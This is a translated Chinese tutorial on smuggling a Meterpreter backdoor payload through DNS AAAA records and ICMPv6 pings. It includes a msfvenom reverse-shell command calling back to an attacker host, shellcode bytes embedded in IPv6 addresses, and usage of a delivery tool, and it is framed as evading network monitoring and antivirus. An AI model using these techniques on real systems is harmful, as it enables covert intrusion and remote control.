利用DNS AAAA記錄和IPv6地址傳輸后門
一、前言
在本文中,我想解釋如何在DNS流量中利用IPv6地址(AAAA)記錄傳輸Payload。在我之前的文章中,我解釋了如何利用DNS和PTR記錄,現(xiàn)在我們將討論AAAA記錄。
本文分為兩部分:
- 第一部分:DNS AAAA記錄和ICMPv6
- 第二部分:DNS和AAAA記錄(大的DNS AAAA記錄響應(yīng))
二、DNS AAAA記錄和ICMPv6
IPv6地址對于傳輸Payload非常有用,讓我解釋下如何完成這個例子。
舉個例子,我們有一個IPv6地址如下:
- fe80:1111:0034:abcd:ef00:ab11:ccf1:0000
這個例子中,我們能將xxxx部分用于我們的Payload。
- fe80:1111:xxxx:xxxx:xxxx:xxxx:xxxx:wxyz
我認為我們有兩種方式將IPv6地址用于我們的Payload,第一個是我們使用DNS和AAAA記錄,第二個是使用這些IPv6地址和DNS AAAA記錄,也是Ping6的ICMPv6流量。
ICMPv6和Ping6:這個例子中,你能通過虛假的IPv6和注入的Payload來改變攻擊者的IPv6地址,然后從后門系統(tǒng)中,你能通過循環(huán)Ping6得到這些IPv6地址(ICMPv6流量)。
因此我們有下面這些東西:
- (后門系統(tǒng))ip地址 = {192.168.1.120}
- (攻擊者系統(tǒng))ip地址 = {192.168.1.111
- ,fe80:1111:0034:abcd:ef00:ab11:ccf1:0000}
- (攻擊者系統(tǒng))DNS名 = test.domain.com,和安裝的DNS服務(wù){(diào)dnsmasq或dnsspoof}
DNS AAAA記錄和ICMPv6步驟:
步驟1:(攻擊者DNS服務(wù)器)record0=>fe80:1111:0034:abcd:ef00:ab11:ccf1:0000 AAAA test.domain.com
步驟2:(后門系統(tǒng))==>nslookup test.server.com 192.168.1.111
步驟3:(后門系統(tǒng))循環(huán)Ping6=>(攻擊者系統(tǒng)fe80:1111:0034:abcd:ef00:ab11:ccf1:0000)
步驟4:(后門系統(tǒng))通過Ping6響應(yīng)在IPv6地址中轉(zhuǎn)儲出注入的Payload,轉(zhuǎn)儲這些部分{0034:abcd:ef00:ab11:ccf1}
步驟5:(攻擊者DNS服務(wù)器)record0改為新的test.domain.com
步驟6:(攻擊者DNS服務(wù)器)record0=>fe80:1111:cf89:abff:000e:09b1:33b1:0001 AAAA test.domain.com
步驟6-1:(攻擊者系統(tǒng))通過ifconfig添加或改變NIC IPv6地址{新的IPv6地址:fe80:1111:cf89:abff:000e:09b1:33b1:0001}
步驟6-2:關(guān)于步驟3的ping6的響應(yīng)=超時或不可達(錯誤),這個時間是獲取新的IPv6地址的標志,或者你的流量被某些東西檢測到并阻止了。
步驟7:(后門系統(tǒng))=>nslookup test.server.com 192.168.1.111
步驟8:(后門系統(tǒng))循環(huán)Ping6 test.domain.com=>
{新的IPv6地址fe80:1111:cf89:abff:000e:09b1:33b1:0001}
步驟9:(后門系統(tǒng))通過IPv6的響應(yīng),從新的IPv6地址中轉(zhuǎn)儲出注入的Payload,轉(zhuǎn)儲這些部分{cf89:abff:000e:09b1:33b1}
- 注1:我們何時能知道IPv6地址改變了?當來自攻擊者系統(tǒng)的ping6響應(yīng)是超時或者不可達。你也可以通過nslookup檢查。
- 注2:也可以使用多個IPv6地址為攻擊者的NIC,這種情況下不需要步驟6-1。但是這樣你不能使用注1。因此這種情況下你應(yīng)該使用定時器或者循環(huán)通過nslookup或類似的工具得到來自攻擊者系統(tǒng)的新的IPv6地址。意思是,從后門系統(tǒng),你能逐行得到攻擊者系統(tǒng)的IPv6地址和DNS Round-robin特征以及分組IPv6 DNS域名。
在這些步驟之后,你能通過DNS和ICMPv6流量得到20字節(jié)的Payload:
- Payload0=fe80:1111:0034:abcd:ef00:ab11:ccf1:0000==>0034:abcd:ef00:ab11:ccf1
- Payload1=fe80:1111:cf89:abff:000e:09b1:33b1:0001==>cf89:abff:000e:09b1:33b1
因此我們在兩次Ping6之后得到這個Payload:
- Reponse:0034abcdef00ab11ccf1cf89abff000e09b133b1
但是在這個技術(shù)中,你只能通過DNS流量做到這個,意味著你能移除所有的Ping6步驟。因此,如果你想不使用Ping6和ICMPv6流量就做到這個,你只需要步驟2和7,通過DNS響應(yīng)從DNS服務(wù)器轉(zhuǎn)儲payload。但是我們將在第二部分中討論討論這個:(DNS和AAAA記錄)
讓我們展示一些關(guān)于ICMPv6方法的圖片,沒有代碼和工具。
我將來可能會發(fā)布C#代碼,并且也和這個文章一步一步介紹,但是我想展示關(guān)于DNS AAAA + ICMPv6技術(shù)的所有圖片。
圖A
在圖A中,你能看到對于test.domain.com,我們有8個的AAAA記錄,你也能看到這個IPv6地址的Ping響應(yīng),在這個技術(shù)中的DNS和ICMPv6,你能通過1或2下載DNS域名,然后如果你想使用ICMPv6,你能Ping6這些IPv6地址。
圖A中,我們有8個AAAA記錄,因此我們有8*10字節(jié)=80字節(jié)
- Meterpreter payload!
- fe80:1111:fc48:83e4:f0e8:cc00:0000:ae0 test.domain.com
- fe80:1111:4151:4150:5251:5648:31d2:ae1 test.domain.com
- fe80:1111:6548:8b52:6048:8b52:1848:ae2 test.domain.com
- fe80:1111:8b52:2048:8b72:5048:0fb7:ae3 test.domain.com
- fe80:1111:4a4a:4d31:c948:31c0:ac3c:ae4 test.domain.com
- fe80:1111:617c:022c:2041:c1c9:0d41:ae5 test.domain.com
- fe80:1111:01c1:e2ed:5241:5148:8b52:ae6 test.domain.com
- fe80:1111:208b:423c:4801:d066:8178:ae7 test.domain.com
- PAYLOAD0= fc4883e4f0e8cc000000 and Counter = ae0
- PAYLOAD1= 415141505251564831d2 and Counter = ae1
因此我們得到payload=
- fc4883e4f0e8cc000000415141505251564831d2
為什么Ping,我們何時通過DNS請求得到payload?
如果你想使用DNS請求,如DNS循環(huán)請求或者通過AAAA記錄有大的響應(yīng)的DNS請求,那么這對于·DNS監(jiān)控工具檢測是一種特征。因此如果在每個DNS響應(yīng)之后對于AAAA記錄你有1或2個ping6,那么我認為它是正常的流量,并且能通過DNS監(jiān)控設(shè)備或者DNS監(jiān)控工具檢測的風(fēng)險很小。
例如你能通過1或2或3個AAAA記錄使用一個響應(yīng)一個請求。意思是如果響應(yīng)有4個AAAA記錄,或者超過4個AAAA記錄,那么可能有網(wǎng)絡(luò)監(jiān)控設(shè)備或工具將檢測你的流量,但是在這些網(wǎng)絡(luò)限制方面,SOC/NOC的家伙比我更有發(fā)言權(quán)。
正如你能在圖A中我的test.domain.com請求在響應(yīng)中有8個AAAA記錄。
因此這種情況,我們應(yīng)該在IPv6地址中將你的payload分組,DNS名也是一樣。
讓我解釋一些ICMPv6的東西,如果你想通過IPv6地址ping一個系統(tǒng),首先你應(yīng)該得到那個系統(tǒng)的IPv6地址,因此你需要DNS請求,總是很重要的點是對于你要轉(zhuǎn)儲的所有IPv6地址和從IPv6地址中轉(zhuǎn)儲注入的Meterpreter Payload,你需要多少DNS請求?
一個請求?
如果你想通過一個請求和一個響應(yīng)得到所有的IPv6地址,那么你將在一個DNS響應(yīng)中包含大量的AAAA記錄,因此被檢測的風(fēng)險很高。
看圖A1:
圖A1
并且在圖A2,你能看見2個請求的長度,第一個是小響應(yīng),第二個是大響應(yīng)。
圖A2-如你所見,我們有兩個DNS AAAA響應(yīng),第一個長度132(小響應(yīng))和第二個長度1503(大響應(yīng))
在本文中,我將通過類似圖A2中的DNS AAAA記錄轉(zhuǎn)儲所有的IPv6地址來解釋一個請求和一個響應(yīng),但是在這種情況下我們知道DNS+ICMPv6也是有被檢測的風(fēng)險的,如在圖A2 所見,我們的第二個響應(yīng)長度很長,將導(dǎo)致被檢測的風(fēng)險。
兩個請求或者更多?
如你在圖B所見,我的payload在3個DNS名中{test0.domian.com,test1.domain.com,test2.domain.com}.
并且我一次ping6一個IPv6地址,且得到了100%的ping回應(yīng)。
因此在這個例子中,每個響應(yīng)中我們有包含兩個AAAA記錄的3個請求和3個響應(yīng),在每個DNSAAAA響應(yīng)之后我們還有ICMPv6流量,最后我們也有一個小長度的DNS響應(yīng)。
圖B
注意:我的Linux系統(tǒng)有多個IPv6地址,Ping6回復(fù)在圖C中。
你能通過ifconfig或者多個IPv6賦給NIC來完成步驟6-1,如圖C。
圖C
并且,圖C1中是我們的DNS查詢:
圖C1
現(xiàn)在你能在圖D中看到另一個請求和響應(yīng)分組的例子。
圖D
如圖E所見,對于DNS請求和響應(yīng),我們的DNS服務(wù)器記錄。
圖E
無論如何,圖中所見的這種方法技術(shù)上是可行的,將來我將完成C#代碼。
三、DNS和AAAA記錄(大的DNS AAAA記錄響應(yīng))
現(xiàn)在,本文中我想討論DNS和AAAA記錄,并討論如何通過從假的DNS服務(wù)器到后門系統(tǒng)的一個DNS請求和DNS響應(yīng)得到這些payload。因此我們討論大的AAAA響應(yīng),意味著在一個DNS響應(yīng)之后,你能通過一個DNS AAAA響應(yīng),在后門系統(tǒng)上得到所有的payload和Meterpreter會話。
通過NativePayload_IP6DNS工具,使用DNS AAAA記錄傳輸后門payload的步驟:
步驟1:使用hosts文件偽造假的DNS服務(wù)器。
這種情況下,對于攻擊者系統(tǒng),我想使用dnsmasq工具和dnsmasq.hosts文件。
在我們偽造文件之前,你需要payload,因此能通過下面的命令得到payload:
- Msfvenom–arch x86_64 –platform windows -pwindows/x64/meterpreter/reverse_tcp lhost 192.168.1.50 -f c >/payload.txt
注意:這個例子中的192.168.1.50是攻擊者的虛假的dns服務(wù)器,和攻擊者的Metasploit Listener。
現(xiàn)在你應(yīng)該通過這個payload字符串偽造hosts文件,如圖1,你能使用下面的語法偽造:
語法1: NativePayload_IP6DNS.exe null 0034abcdef00ab11ccf1cf89abff000e09b133b1...
圖1
現(xiàn)在拷貝這些IPv6地址到DNS hosts文件中,如圖2,并且你需要在每行IPv6地址后面寫入DNS域名。
圖2
這個例子中,我想使用工具dnsmasq作為DNS服務(wù)器,因此你能編輯/etc/hosts文件或者/etc/dnsmasq.hosts。
它依賴你的dnsmasq工具的配置。
因此,如圖3,你能使用如下命令啟動DNS服務(wù)器。
圖3.
在啟動DNS服務(wù)器后,你的dnsmasq應(yīng)該會從hosts文件中至少讀取51個地址。
最后用下面的語法,通過一個DNS IPv6 AAAA記錄響應(yīng),你將得到Meterpreter會話(如圖A2中的大的響應(yīng),第二個DNS響應(yīng),長度為1503)
語法: NativePayload_IP6DNS.exe “FQDN” “Fake DNS Server”
語法: NativePayload_IP6DNS.exe test.domain.com 192.168.1.50
圖4
總而言之,DNS流量的PTR記錄和IPv6 AAAA記錄對于傳輸payload并繞過網(wǎng)絡(luò)監(jiān)控或者類似的東西非常有用,并且這些技術(shù)也能繞過反病毒軟件。
NativePayload_IP6DNS.exe的C#源代碼:(DNS AAAA記錄)
https://github.com/DamonMohammadbagher/NativePayload_IP6DNS
NativePayload_DNS.exe tool的C#源代碼:(DNS PTR記錄)